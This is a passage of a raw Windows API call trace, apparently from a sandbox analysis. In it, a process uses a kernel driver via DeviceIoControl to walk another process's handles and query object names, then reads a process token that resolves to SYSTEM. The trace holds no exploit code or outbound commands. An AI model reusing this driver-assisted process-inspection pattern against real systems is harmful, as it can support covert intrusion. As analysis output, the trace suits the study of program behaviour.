[0136.920] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.920] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0136.920] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.920] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.920] PsAcquireProcessExitSynchronization () returned 0x0 [0136.920] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.920] ObReferenceObjectByHandle (in: Handle=0x808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001fc5590, HandleInformation=0x0) returned 0x0 [0136.920] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.920] PsReleaseProcessExitSynchronization () returned 0x2 [0136.920] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.920] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.920] ObfDereferenceObject (Object=0xfffffa8001fc5590) returned 0x1 [0136.920] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.920] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.920] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.920] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.920] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.920] PsAcquireProcessExitSynchronization () returned 0x0 [0136.921] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.921] ObReferenceObjectByHandle (in: Handle=0x8a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0136.921] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.921] PsReleaseProcessExitSynchronization () returned 0x2 [0136.921] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.921] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.921] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0136.921] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.921] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.921] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.921] PsAcquireProcessExitSynchronization () returned 0x0 [0136.921] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.921] ObReferenceObjectByHandle (in: Handle=0x8e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800344df20, HandleInformation=0x0) returned 0x0 [0136.921] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.921] PsReleaseProcessExitSynchronization () returned 0x2 [0136.921] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.921] ObQueryNameString (in: Object=0xfffffa800344df20, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.921] ObfDereferenceObject (Object=0xfffffa800344df20) returned 0x1 [0136.921] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.921] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.921] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.921] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x10c, lpOverlapped=0x0) returned 1 [0136.921] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.921] PsAcquireProcessExitSynchronization () returned 0x0 [0136.921] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.921] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020046f0, HandleInformation=0x0) returned 0x0 [0136.921] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.921] PsReleaseProcessExitSynchronization () returned 0x2 [0136.921] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.921] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.921] ObfDereferenceObject (Object=0xfffffa80020046f0) returned 0x11 [0136.922] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0136.922] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.922] PsAcquireProcessExitSynchronization () returned 0x0 [0136.922] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.922] ObReferenceObjectByHandle (in: Handle=0x91c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003b92b00, HandleInformation=0x0) returned 0x0 [0136.922] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.922] PsReleaseProcessExitSynchronization () returned 0x2 [0136.922] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.922] ObQueryNameString (in: Object=0xfffffa8003b92b00, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.922] ObfDereferenceObject (Object=0xfffffa8003b92b00) returned 0x1 [0136.922] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.922] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.922] PsAcquireProcessExitSynchronization () returned 0x0 [0136.922] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.922] ObReferenceObjectByHandle (in: Handle=0x9a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002b90070, HandleInformation=0x0) returned 0x0 [0136.922] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.922] PsReleaseProcessExitSynchronization () returned 0x2 [0136.922] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.922] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.922] ObfDereferenceObject (Object=0xfffffa8002b90070) returned 0x1 [0136.922] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.922] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.922] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.922] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.922] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.922] PsAcquireProcessExitSynchronization () returned 0x0 [0136.922] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.923] ObReferenceObjectByHandle (in: Handle=0x9bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003bbc9c0, HandleInformation=0x0) returned 0x0 [0136.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.923] PsReleaseProcessExitSynchronization () returned 0x2 [0136.923] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.923] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.923] ObfDereferenceObject (Object=0xfffffa8003bbc9c0) returned 0x1 [0136.923] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.923] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.923] PsAcquireProcessExitSynchronization () returned 0x0 [0136.923] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.923] ObReferenceObjectByHandle (in: Handle=0x9d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003bbc870, HandleInformation=0x0) returned 0x0 [0136.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.923] PsReleaseProcessExitSynchronization () returned 0x2 [0136.923] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.923] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.923] ObfDereferenceObject (Object=0xfffffa8003bbc870) returned 0x1 [0136.923] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.923] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.923] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.923] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.923] PsAcquireProcessExitSynchronization () returned 0x0 [0136.923] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.923] ObReferenceObjectByHandle (in: Handle=0x9f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f8d850, HandleInformation=0x0) returned 0x0 [0136.923] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.923] PsReleaseProcessExitSynchronization () returned 0x2 [0136.923] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.923] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.923] ObfDereferenceObject (Object=0xfffffa8002f8d850) returned 0x1 [0136.923] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.923] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0136.924] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.924] PsAcquireProcessExitSynchronization () returned 0x0 [0136.924] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.924] ObReferenceObjectByHandle (in: Handle=0x9f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003590770, HandleInformation=0x0) returned 0x0 [0136.924] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.924] PsReleaseProcessExitSynchronization () returned 0x2 [0136.924] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.924] ObQueryNameString (in: Object=0xfffffa8003590770, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.924] ObfDereferenceObject (Object=0xfffffa8003590770) returned 0x11 [0136.924] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.924] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.924] PsAcquireProcessExitSynchronization () returned 0x0 [0136.924] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.924] ObReferenceObjectByHandle (in: Handle=0xa08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031413d0, HandleInformation=0x0) returned 0x0 [0136.924] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.924] PsReleaseProcessExitSynchronization () returned 0x2 [0136.924] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.924] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.924] ObfDereferenceObject (Object=0xfffffa80031413d0) returned 0x1 [0136.924] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.924] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.924] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.924] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.924] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.924] PsAcquireProcessExitSynchronization () returned 0x0 [0136.924] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.924] ObReferenceObjectByHandle (in: Handle=0xa34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800b938480, HandleInformation=0x0) returned 0x0 [0136.925] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.925] PsReleaseProcessExitSynchronization () returned 0x2 [0136.925] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.925] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.925] ObfDereferenceObject (Object=0xfffffa800b938480) returned 0x1 [0136.925] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.925] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.925] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.925] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.925] PsAcquireProcessExitSynchronization () returned 0x0 [0136.925] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.925] ObReferenceObjectByHandle (in: Handle=0xa9c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003591be0, HandleInformation=0x0) returned 0x0 [0136.925] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.925] PsReleaseProcessExitSynchronization () returned 0x2 [0136.925] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.925] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.925] ObfDereferenceObject (Object=0xfffffa8003591be0) returned 0x1 [0136.925] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.925] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.925] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.925] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xaa, lpOverlapped=0x0) returned 1 [0136.925] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.925] PsAcquireProcessExitSynchronization () returned 0x0 [0136.925] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.925] ObReferenceObjectByHandle (in: Handle=0xabc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003097f20, HandleInformation=0x0) returned 0x0 [0136.925] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.925] PsReleaseProcessExitSynchronization () returned 0x2 [0136.925] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.925] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.925] ObfDereferenceObject (Object=0xfffffa8003097f20) returned 0x1 [0136.925] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.925] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.926] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x46c) returned 0xc0 [0136.926] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.926] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8003235b30, HandleInformation=0x0) returned 0x0 [0136.926] ObOpenObjectByPointer (in: Object=0xfffffa8003235b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000af8) returned 0x0 [0136.926] ObfDereferenceObject (Object=0xfffffa8003235b30) returned 0x86 [0136.926] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000af8, DesiredAccess=0x8, TokenHandle=0xfffffa800247d340 | out: TokenHandle=0xfffffa800247d340*=0xc8) returned 0x0 [0136.926] ZwClose (Handle=0xffffffff80000af8) returned 0x0 [0136.926] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.926] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.926] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.034] CloseHandle (hObject=0xc8) returned 1 [0137.034] CloseHandle (hObject=0xc0) returned 1 [0137.034] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.034] 